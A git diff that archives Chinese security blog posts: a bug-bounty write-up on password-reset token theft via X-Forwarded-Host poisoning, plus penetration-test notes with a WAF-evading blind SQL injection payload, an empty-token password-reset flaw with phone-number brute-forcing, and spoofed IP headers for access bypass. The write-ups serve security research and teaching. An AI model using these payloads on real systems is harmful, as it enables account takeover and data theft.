diff --git a/data.json b/data.json index 73707445..89636161 100644 --- a/data.json +++ b/data.json @@ -2248,5 +2248,9 @@ "https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247493098&idx=1&sn=daf17eea39dbbe868a10945583414150": "网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析", "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=1&sn=148bc2127ec92f4853e3d25ce1e7c686": "像职业黑客一样思考,在漏洞挖掘中可以多赚30000美元(真的吗?)", "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=2&sn=e56539ff84e21a74e6dba51ec10c2eab": "【SRC】SQL 注入(SQLi)漏洞检测指南", - "https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)" + "https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)", + "https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487547&idx=1&sn=208ed8027238c77ddd5a967fb895a024": "赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkwODI1ODgzOA==&mid=2247506335&idx=1&sn=7c0ecf4f62abd40aec0f31829276017e": "当黑客那些年之帐户接管系列漏洞-案例一斩获1000$", + "https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247517950&idx=1&sn=bef8c9d5541206c2256a5de3b375398a": "比较有意思的几个漏洞挖掘记录", + "https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488307&idx=1&sn=bf64b07108abe531018ffec416ddf48a": "要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结" } \ No newline at end of file diff --git a/doc/当黑客那些年之帐户接管系列漏洞-案例一斩获1000$.md b/doc/当黑客那些年之帐户接管系列漏洞-案例一斩获1000$.md new file mode 100644 index 00000000..596fb576 --- /dev/null +++ b/doc/当黑客那些年之帐户接管系列漏洞-案例一斩获1000$.md @@ -0,0 +1,118 @@ +# 当黑客那些年之帐户接管系列漏洞-案例一斩获1000$ +原创 一个不正经的黑客 一个不正经的黑客 2024-12-29 12:38 + +#  当黑客那些年之帐户接管系列漏洞-案例一斩获1000$ + +这篇文章将介绍作者在 Hackerone 的私人项目中发现的一个漏洞,该漏洞允许我接管任何用户的账户。 + +在开始之前,我想先提供一些关于 Host 头的小基础知识。 +## 什么是 HTTP Host 头?  + +HTTP Host 头是 HTTP/1.1 中的必需请求头,它指定了用户希望访问的域名。 + +例如,如果用户访问 https://example.com,那么他们的浏览器将发出如下所示的请求,其中包含 Host 头: +``` +GET / HTTP/1.1 + +Host: example.com +``` + +**现在让我们开始** + +几天前,我收到了 Hackerone 的通知,说我被邀请加入了一个私密项目。 + +我接受了邀请,并开始在这个私密项目中进行漏洞挖掘。 + +刚开始进行漏洞挖掘的前几天,我花了 5 到 6 天时间,发现了跨站脚本攻击(XSS)、IDOR、SQL 注入、登录页面漏洞、信息泄露和子域名接管等问题,但始终没有找到什么特别的漏洞。 + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcUE6LRKvcOPGzwFoFXHK8wqPldFHzdcvTgCNexCMWMlarKFibWHUzUFw/640?wx_fmt=png&from=appmsg "") + +经过几个小时的休息后,我再次开始在该域名上进行漏洞挖掘。 + +这个时候,我发现了一个上次没注意到的有趣功能。 + +这个有趣的功能就是“密码重置功能”。 + +于是我心想,为什么不试试这个密码重置功能呢? + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAczGudV5vJ7NZ1ugqID76bb7wibzIRrZ562ib6WfFWdzQvDSNYT5TozHWw/640?wx_fmt=png&from=appmsg "") + +由于这是一个私密项目,我不能公开目标的名称。 + +所以,让我们假设目标是 **site.com** +。他们的密码重置功能大致是这样的: + + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcMz04VelFR5WlibWsO8slFS2evt7GueNfV3xpiapFKP7EckjhMw1FqczQ/640?wx_fmt=png&from=appmsg "") + + +我注意到,每当我们输入电子邮件并点击“重置密码”时,我们会收到一封包含密码重置令牌链接的电子邮件。 + +密码重置令牌链接如下所示: +``` +https://site.com/action-token?key=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICIzZWM2ODU2Z +``` + +这次,我决定拦截密码重置请求,并且启动了我的 ngrok 服务器。 + +原始请求大致如下所示: + + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcr6bgm5hWK4pgCbx8YLR5UaGo3E6CZU3D07zqicKJPO5aIdmneomtgdg/640?wx_fmt=png&from=appmsg "") + + +然后,我在原始请求中添加了另一个头部 X-Forwarded-Host +,并将其设置为我的 ngrok 服务器域名。 + +现在修改后的请求大致如下所示: + + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcfVKuDPgOjt7qTrlpLf5dWLpmyOqx3cEwNkqZqclQwkPqWKTG89nRFg/640?wx_fmt=png&from=appmsg "") + + +然后这次,我收到了一个更改密码的电子邮件,但其中的密码重置令牌链接指向了我的 ngrok 服务器域名。 + +密码重置令牌链接看起来如下所示: +``` +https://95saf4ct71g.ngrok.io/action-token?key=wia2lkIiA6ICciOiJIUzI1NiIsInR5cCIgODU2ZeyJhbGiA +``` + +你可以看到,我成功地通过在密码重置请求中添加 X-Forwarded-Host 头部来更改了主机。 + +接着,我注意到,如果我在密码重置页面中输入受害者的电子邮件并拦截请求,再添加一个包含我恶意域名的 X-Forwarded-Host 头部,受害者将会收到一个带有我恶意域名的密码重置令牌链接。 + +当受害者点击该链接时,他们将被重定向到我的网站,并且所有的令牌都会泄漏给我。 + +然后,我可以使用泄漏的令牌来更改受害者的密码。 + +是的,这个漏洞的影响就是完整的账户接管。 + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAc1jwmVaa0fuK24EwNTvDbiaV0nE9vGy8nVIuPXrtmKDz2m0rfIplPfag/640?wx_fmt=png&from=appmsg "") + +所以,现在我可以完全接管任何在 site.com 上拥有账户的人的账户,只要通过重置他们的密码。 + +因此,我毫不浪费时间,成功提交了这个漏洞,并附上了完整的概念验证。 + +随后,Hackerone 的私人项目团队奖励了我 1000 美金。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcaMicR49KNeDcCUGVx6JvJByJ36Rh7iaSMO4ciayLZpNc0akaibYstRhV2A/640?wx_fmt=png&from=appmsg "") +## 漏洞点评  + +这个漏洞非常经典,漏洞成因可以追溯为 +系统架构过于复杂,存在多层转发,进而易诱发配置不当的情况。 + +我们可以假设重置密码是一个后台服务,那么它是无法知道用户访问的入口域名是什么的,这种情况一般就是代码直接获取 Host 头(正常人写法),但是这个 Host 头可能会被前置的中间件如 nginx 进行重写,而重写的规则可能就是获取 X-Forwarded-Host(类似 X-Forwarded-Ip) + +如果是上述情况,通过在用户端X-Forwarded-Host覆盖重写的值就会导致这个漏洞产生。 +## 文末寄语  + +本文算是一个合集系列,会收集各种经典 BugBounty 漏洞案例,分析形成的原因并归类探测方法。 + +后续可能会将这些成果转换为检测工具( +Burp 插件)完成赋能,敬请各位观众老爷期待,感谢大家的阅读和支持。 + +Thanks https://saajanbhujel.github.io/bugbounty/blog/web/2021-02-26-password-reset-token-leak-via-x-forwarded-hos +t + + diff --git a/doc/比较有意思的几个漏洞挖掘记录.md b/doc/比较有意思的几个漏洞挖掘记录.md index 81baed86..a6af3e8b 100644 --- a/doc/比较有意思的几个漏洞挖掘记录.md +++ b/doc/比较有意思的几个漏洞挖掘记录.md @@ -1,11 +1,13 @@ # 比较有意思的几个漏洞挖掘记录 -红猪 Z2O安全攻防 2024-11-25 13:43 +红猪 Z2O安全攻防 2024-12-29 12:35 + +点击上方[蓝字],关注我们 + **建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!** 因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。 - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuao3T9EnGbUIqxgDhEVicCV8NbH4FiaZ3YIbpXNEr6qFicGkAelnQHKGHsVlfapMGgO3DHA68iaiac0n4Q/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuao3T9EnGbUIqxgDhEVicCV8NbH4FiaZ3YIbpXNEr6qFicGkAelnQHKGHsVlfapMGgO3DHA68iaiac0n4Q/640?wx_fmt=png "") # 免责声明 @@ -16,30 +18,25 @@ # 文章正文 -来源:奇安信攻防社区,作者:红猪,排版来自:潇湘信安 - -原文: -https://forum.butian.net/share/3692 - -**sql注入** +# sql注入 某条数据,点击详情的数据包,单引号报错 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjsZiaaVIZUmf6YTpYJqNPvSU3y6uUEwFtV8IchRy10rzGKWF9PoJlKlw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfdwAFQVqRfzek24IKwRxrToFhZsJDLrgEtJgMqU8icWbXFP83bpzmvRg/640?wx_fmt=png&from=appmsg "") 再加一个正常 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjMr2lEvGWR8KFaQYib7nY2fSXjlENsaxia6tS57uicdXHQMDdvpwkpnRgQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfIDs9OcxGtEmfOItib3dVazGpCR7WpE8ww5W3icOd8hNjwOsDJYdiaOicWQ/640?wx_fmt=png&from=appmsg "") 本以为是一次平平无奇的sql注入,没想到绕了一天才绕过去,下面放几张测试失败的截图 首先就是404,不知道规则是啥样的,下面语句应该是没问题的就会404,1=1让语句不通就会500 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjOYlCnj10icAyjD7JGEBWWw0icBRsVumzPBO0tVLvCNs5vJTowQB0cT8w/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibpdXvUxoudubgJicSWw0bFvMcibKhyfCyjkqqjDhBicIhf8GicTmUK7TUQ/640?wx_fmt=png&from=appmsg "") 试了下orcale的注入方法,又爆403,这里'||55||'会返回空数据,'||1/0||'会爆500,这里判断语句能想到的都试了,全403,最奇怪的是只有语句正确才会403,少写一个D就会500,不知道这什么匹配逻辑,不过试了一些插入空白字符啥的也都不行 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjIPTUZ94fHX4n0gkZLvd9GfNvWZv5Is6jVgLNkeeczOZeEYXJXEEZlg/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfNibACJhr3cHzR8FuuFYINa6HTmOUKwqop0HmnCQ7X0icib0bjhz1AgHDA/640?wx_fmt=png&from=appmsg "") 这里我又跑了一遍字典,全404、500、403,期间尝试结合分块传输、参数污染、垃圾数据、白名单、高并发均未绕过去 @@ -48,11 +45,11 @@ https://forum.butian.net/share/3692 'OR+1+in+1+and+'a'+in+'a ``` -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjgJdwiarFYflTy43K4TpSDsw6arZUxeSHJ6cZic94zxd47yhDTe85UzLQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfAac2Tibc0JzsTBy4Nw3by1nI6HtaP1x2Td5dNSG7dwceGibj56Idsicpw/640?wx_fmt=png&from=appmsg "") 当1 in 5 的时候整个结果为false,返回为空 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj6D4JsgrCBdlamUDLkDHmeCbupM1sFBBsMArzyTGAjU6mwic44gY7KIQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf5HzYuxf8VYNqsnSuA4ZX69Y33zCoyibM8ljwO8EJzHPd3x2FatY43Cg/640?wx_fmt=png&from=appmsg "") 直接注下user的长度 ``` @@ -61,7 +58,7 @@ https://forum.butian.net/share/3692 只有相等时会卡死,很明显为7位 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXgAElTexZUGXPzxMLBAUaZbJaNJ1pCtS23ORoO99vICmT9bftHZ1bw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfwORTg3HVLHhnlEB2bq0ibuzJNDLRE6qe8GnJezUSqyNyAC0sM8SlN4g/640?wx_fmt=png&from=appmsg "") 直接用instr函数注用户名 ``` @@ -75,87 +72,74 @@ instr('user','s')返回2 第一位为S -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj7xib70e3bMqvKZVmYWMibMuAYWl0deGiaVQX8LOWSp9OAIE0ib6he8gjCw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfE3mficb5z1MOMvcv2dZm7qoSok88tiaH1iaY7B4PrYQm9wZoLxRpa5ibdA/640?wx_fmt=png&from=appmsg "") 第二位为H,其他同理 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjmfYFWXoC6icmLhDuEj5d8fuUviakSsjA8vFFZpLMq3r2H1HlOicQF8GhA/640?wx_fmt=png&from=appmsg "") - - -**任意用户名密码重置** +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfb5qutSyG7iaFyt0oicrbN5CrrSsibqt66p4yiaTox8eMpj9mttrCgmPvtg/640?wx_fmt=png&from=appmsg "") +# 任意用户名密码重置 玩的某个游戏,手机号换了,申诉成功给我发了邮件,可以看到id和token -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjjEBjWcrlroZgFTm9qIp7OUNA9OfNicNYB4W6dDvHc8vzBulXXRlIQ6Q/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf34BwXIhwvvCj21LShYTicSMqaRbDMZ9Smzxbvs4TvEtxNRMJ5jVY6sw/640?wx_fmt=png&from=appmsg "") 这里直接更换id访问,进行更改密码,显示错误 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjeXO5ibnTpfsBjRwLzYAvYMKjAcozibB9y6jHiaC160SBw4xRxlrcQicpRg/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXficaGfhQBuC5V8dWp9nJnv4D4ywsk8Im8mTQLvOKmTyQMsH2EibWVpAuw/640?wx_fmt=png&from=appmsg "") 简单测了测,id随便改,token为空 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjubcBgSWUE3hg6ichuuKUxQjiaxvhEH368F2BticFXkJLxSTGQlmVGPsMw/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf04mmIUGiafFMZpzRYhUibXObvicsKvcUdpibbQa0CRzWItrt2zNt6xOTlA/640?wx_fmt=png&from=appmsg "") 直接修改密码成功 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjic2zcHPibB7J55gFGYh18lCLeenvGntaILFjMYian1LsX9VsadINVyY2w/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfFOJcIa54HaBUuNajDKaMIjiaO57IHtIfRjGdy9mM6lPT7o2alxIkicjw/640?wx_fmt=png&from=appmsg "") 这里因为不知道目标账号的id,只能随机修改,因为手机号基本就跟id绑定,于是找到了申诉的功能点,这里输入手机号 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjd8zOic0sPS4MrkiarBW7OnlhQ2cbJBx7dlZeTHsGbZQtI3moG7tv7EUw/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf9sBYGNltI86KPdMckt8nU81JMv0FuFQyyNibicTkhU0CC7uKt4yRmGqQ/640?wx_fmt=png&from=appmsg "") 可以看到返回了id -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj7THo34186dKWWcQ2X8rgicAgyQfRnZT5z5HoWtVBsnL1eTpg8TiaqepQ/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfPkmwAaBTAkGk9LgicG9q1W90uJ50syASz9LCuxqO5z7r1qyWDqrxjUw/640?wx_fmt=png&from=appmsg "") 下一步就是要知道目标的手机号,经过我的不懈寻找,在游戏app的登录界面,有个忘记账号功能 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj3N7Uda7p3xLp5RjAmnCNsxZeupHWjyVJ0TrRWPkTPUO3xYv9APuGCg/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXff4yDyfQllt5ADxcmtkJE8qnztyoscGG0iaXbQL3ug7KNteBC2arULag/640?wx_fmt=png&from=appmsg "") +这里输入手机号或者游戏的uid就可以看到一些信息 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfFeuBGSrMAhyNicIJUQdDFtkyEFKP4sjxJmWyp1IicAIY611RbPqdg48A/640?wx_fmt=png&from=appmsg "") 这里游戏uid是公开的,资料就能看到,不过手机号只有前三位和后四位 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjptSJ26MVVtsbNTjDW0s8EdEibawby1NABV7bv4nI1vFBx0YuKEb7dKg/640?wx_fmt=png&from=appmsg "") - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjJic5dY9BHS1L9LawhpKBbBKq2UhkN3ibu0tJpPKWHXmxtKczbAtaL4yQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibicwl9K8rZib3Rib3ibGgkgUhWXPzxFnutjYLyyhUKAmvcr1OoKrDMqm2g/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfewbn0icqImWKdLDlQ0MgJhpQWFibOxRzEGrTtHdexwvGfNib8HNefhWgw/640?wx_fmt=png&from=appmsg "") 在官网找回密码处,这里输入手机号抓个包 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjZV5TjbXeHVha3iaj38l7wmGCGg0ooN0ItnFCJ06USdsP7RiaFdksGenQ/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfbNN8IokjAKmPUhBNpz13QKjpeW0Cj82TqOUKlPsVI9UnVibEYUr4J0A/640?wx_fmt=png&from=appmsg "") 输入不对的手机号会提示错误,因为我们知道前三位还有后四位,爆破起来还是很快的 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj5JOJjCKkTluakEg813ah6tzxZE1muuvaBbViamPaODSfUBECbRguGEw/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibibKPWIIdF1BgBgbt1qAaMDcfkibiap0ibv22aPuMePIUTZcl4roydZSibg/640?wx_fmt=png&from=appmsg "") 最后只得到几个真实存在的手机号,这时候就可以去游戏app登陆界面去对比,手机号正确的话,返回的UID是一样的,这里也可以抓包写个脚本去判断,因为真实存在手机号就几个,我就直接手动尝试的 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjuNF6eqjJQaowhMkHStfNs245G7BZxtwkWP6micw7ibl11Mdz5SzWjwDQ/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfVkcWa3FW8T91f9ibY7JNJMiasL5kyJ8ZSA50oSFhuZucf5KjLeYagYkQ/640?wx_fmt=png&from=appmsg "") 确定了目标手机号就知道了id,就可以想修改谁的密码就可以修改谁的了 +# 某站测试记录 - -**某站测试记录** - -目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com - +目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com 会提示ip无法访问,访问demo.btest.com -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjN6bv8IeMFC1wUnU0YiaNGS7IUEMxINWJ75GlTglpfCxVqapGUjJicaFw/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfSwAeR66xtkhPWvR2HiaWcv8TE613b1fjV6Nsk5YoibuhBZ3tulVXiaXLw/640?wx_fmt=png&from=appmsg "") 另外一个也一样 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXfclp4ahKof6EdhgxPaGQNibj2cAQwiaJiaOZOGuUzMBs6OxVPfuGFC6g/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf8MT06AbyAlLTNc4Cpc7YTGUwIefAkaeESD4c4xp248a5IsibERobnPA/640?wx_fmt=png&from=appmsg "") 这里直接插xff头绕过的 ``` @@ -186,64 +170,54 @@ X-Host: 127.0.0.1 X-Custom-lP-Authorization:127.0.0.1 ``` +这里是创建订单成功了,返回了一个地址,https://cashier.xxxx.xxxx -这里是创建订单成功了,返回了一个地址, -https://cashier.xxxx.xxxx - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjqFdqiaibzTGOdwDOgYibmheldbeVtboicYDNp0ShCPAXGehFuSJeHggWuQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfGllhABSziandkSS3xTw8Is5wzvuic7KgMjAI7M2ELbTHC6r7roSibMQuA/640?wx_fmt=png&from=appmsg "") 访问之后 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjEJUIviaEG3jT3qr1btsS9vRAtRSRN0QIBZWDaHAgQxVEtCzDwiaKqx8g/640?wx_fmt=png&from=appmsg "") - +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfockDxrfaazzlx0a4LqUu01qeez8stJpiaicdoNwlH1THMHTb0YfyGdnA/640?wx_fmt=png&from=appmsg "") 因为这是订单信息,所以我猜测前面子域名是后台的 -构造 -https://cashier.atest.com - 访问之后401,添加xff头直接访问 +构造https://cashier.atest.com 访问之后401,添加xff头直接访问 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjtRV79Z2SibKbE4tyIeg30FVojTPV91WnCWq4kPFuoVQZRQSwmnjuVew/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfXibg9SeM1NlrT0Sj8KflJvSUySSazLPkmp1qARbhHpDiaQaUhR69ibkpA/640?wx_fmt=png&from=appmsg "") 这里a网站应该也是一样的规则 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjeMphDBSY1VY0T69wyufjlh8rOL7uyzZxA7uRFuibGy6SpeOfoOzkBAg/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfloicfiauIwJCe943QfbjR5z4f3EAlavUtzSurZFtQeibE725bRqxYO5yA/640?wx_fmt=png&from=appmsg "") -因为是测试后台,这里直接将test删除,访问 -https://cashier.a.com - 显示无法访问,修改xff头仍然失败 - -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjOTdKeYeibeEushZyYzC2K1uy7J9BvvAIYlkvfXzcHbLS9CFJ83NUPsA/640?wx_fmt=png&from=appmsg "") +因为是测试后台,这里直接将test删除,访问https://cashier.a.com 显示无法访问,修改xff头仍然失败 +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfYY4gBUOKUjDx7tDGbGPFIsDnhsoC0bKKfCCXicuzeib5XK7Z45W9Pqjw/640?wx_fmt=png&from=appmsg "") 只能从测试站入手了,首先是爆破出来了用户密码,但是却无法登录,不过返回了token,这里前端看到了webpack的接口信息 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjZQvibyMDKYuxiaIickFBk4S3iapoeHftpS9Ra6G38dTMcH1O6vEkuPpSOg/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfNhqQ8CnWx5UzPjw3R6I3Qmcn4vEEaJlltH3Pt0tqIpjKn6ZicLLOkUQ/640?wx_fmt=png&from=appmsg "") 在JS存在好多接口和接口配置包的构造并且还有API路径 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjpy590ddw5sxnn0yaJjjoUw8qlRT3mtvayibxiby8JCzvtM8Gh0fIVRZA/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfYBQEnQibKia4RxNB62f01vicuBH8NCDj2B5Acnn7sJvrZfecVKN2MViaXg/640?wx_fmt=png&from=appmsg "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjPuo1RMgh2S1AQC8tCC62ia8PZGbK7CEg3NwuhSd6kDhEG5BSGI9uic6Q/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf5s90he9xftQzhA0tulbiatF9TWX6Bg7m8cKYj7wmAtoKO5oNsuTKGYw/640?wx_fmt=png&from=appmsg "") 抓个登录接口的包看下格式拼接就好 有的接口有未授权,有的接口需要权限,但是爆破成功的数据包里面是有返回token的,于是带着这个token访问就可以了,但是均为测试站点的数据 